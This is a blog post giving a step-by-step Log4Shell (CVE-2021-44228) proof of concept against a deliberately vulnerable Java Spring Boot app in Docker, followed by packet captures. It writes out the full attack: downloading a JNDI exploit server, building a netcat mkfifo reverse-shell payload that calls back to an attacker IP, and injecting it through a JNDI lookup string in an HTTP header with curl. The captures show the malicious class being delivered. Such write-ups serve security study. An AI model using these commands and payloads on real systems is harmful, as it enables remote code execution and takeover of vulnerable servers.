Home LOG4J Exploit - Revese Shell (CVE-2021-44228)
Post
Cancel

LOG4J Exploit - Revese Shell (CVE-2021-44228)

Simple PoC against simple Java Springboot App

Setting up DOCKER “Victim” Java App w. LOG4J

Download the vulnerable App. https://github.com/christophetd/log4shell-vulnerable-app

Kudos for making simple app to quickly test PoC! https://github.com/christophetd

App is very simple, based on Java Springboot and includes exactly what we need for PoC:

  • vulnerable log4j (obviously)
  • endpoint that writes to LOG4J log.

I chose to run the app in a docker container, basically ran exact commands written by https://github.com/christophetd/log4shell-vulnerable-app

1
git clone https://github.com/christophetd/log4shell-vulnerable-app`

Go into log4shell-vulnerable-app directory and build it

1
docker build . -t vulnerable-app

Run it

1
sudo docker run --name vulnerable-app --network="bridge" -p 8080:8080 vulnerable-app

If this Victim Server is up and running we can go to Attackers machine

Attacker’s Machine - Getting Reverse Shell

Simple PoC would just see if there is DNS Request coming bit let’s go one step further.

JNDI Exploit will be used https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 which will run HTTP+LDAP Server.

1
2
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip

At this step of PoC ${jndi:ldap://kali/abc} will be parsed from LOG4J and WILL issue JNDI (Java Naming and Directory Interface) request. JNDI Exploit will inject malicious class and respond to request of Victims server.

Let’s start the JNDI Exploit.

1
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888

And let’s craft an malicious reverse shell payload. Since i’m runing the App in docker, there is no bash installed (or at least i didn’t install it manually) - keep that in mind!

Payload:

1
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.253.142 4242 >/tmp/f" | base64 | tr -d "\n" && echo

(Encode + with %2B)

Let’s put payload into Curl and inject it into X-Api-Version header. (It could be any header which get’s logged using Log4J on that application!)

1
curl http://192.168.253.204:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.253.142:1389/Basic/Command/Base64/cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI%2BJjF8bmMgMTkyLjE2OC4yNTMuMTQyIDQyNDIgPi90bXAvZgo}'

If everything has been done right, reverse shell should pop (see tmux window in bottom right)

Packet Analysis

As you can see, there is also no “real” LDAP involed after initial Payload has been sent (i left that part out in the screenshot below.). There’s just TCP and HTTP (what’s missing is DNS - i used IP for my attacker’s machine, therefore no DNS)

Java Serialized packet sent to Attacker’s “LDAP” Server

You can check below, that doesn’t seem like normal LDAP Request does it?

1
2
3
4
5
6
0....`........0....a.
......0.....c.....Basic/Command/Base64/cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTkyLjE2OC4yNTMuMTQyIDQyNDIgPi90bXAvZgo
..
.............objectClass0...0...2.16.840.1.113730.3.4.20..#...d......Basic/Command/Base64/cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTkyLjE2OC4yNTMuMTQyIDQyNDIgPi90bXAvZgo0..0..
javaClassName1...foo0...javaCodeBase1...http://192.168.253.142:8888/0$..objectClass1...javaNamingReference0"..javaFactory1...ExploitwXXEY4CzxK0....e.
......0"...B...0...2.16.840.1.113730.3.4.2

Payload delivery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
GET /ExploitwXXEY4CzxK.class HTTP/1.1
User-Agent: Java/1.8.0_181
Host: 192.168.253.142:8888
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

HTTP/1.1 200 OK
Date: Mon, 13 Dec 2021 08:01:48 GMT
Content-length: 1282

.......2.=...ExploitwXXEY4CzxK.....@com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet......cmd...Ljava/lang/String;...<init>...()V...java/io/IOException..	.....
.......java/io/File..
..	separator.....	......./......java/lang/String......equals...(Ljava/lang/Object;)Z.....
......./bin/sh......-c........	........../C..!...[Ljava/lang/String;..#...java/lang/Runtime..%..
getRuntime...()Ljava/lang/Runtime;..'.(
.&.)...exec..(([Ljava/lang/String;)Ljava/lang/Process;..+.,
.&.-...printStackTrace../..
.
.0..	transform..r(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V..9com/sun/org/apache/xalan/internal/xsltc/TransletException..4...(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V...<clinit>..Srm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.253.142 4242 >/tmp/f
..8...Code..
StackMapTable..
Exceptions.!.........
.................:...~.......M*..................Y...SY...SY....SL.......Y.. SY.."SY....SL..*+...W...M,..1....<.D.G.
...;........'............$J..
....2.3...:...
..............<.......5...2.6...:...
..............<.......5...7.....:.............9..........

Now, there are many posibilities for obfuscation. Perhaps attack’s used in the wild wouldn’t be so easy to reverse enginner.

This post is licensed under CC BY 4.0 by the author.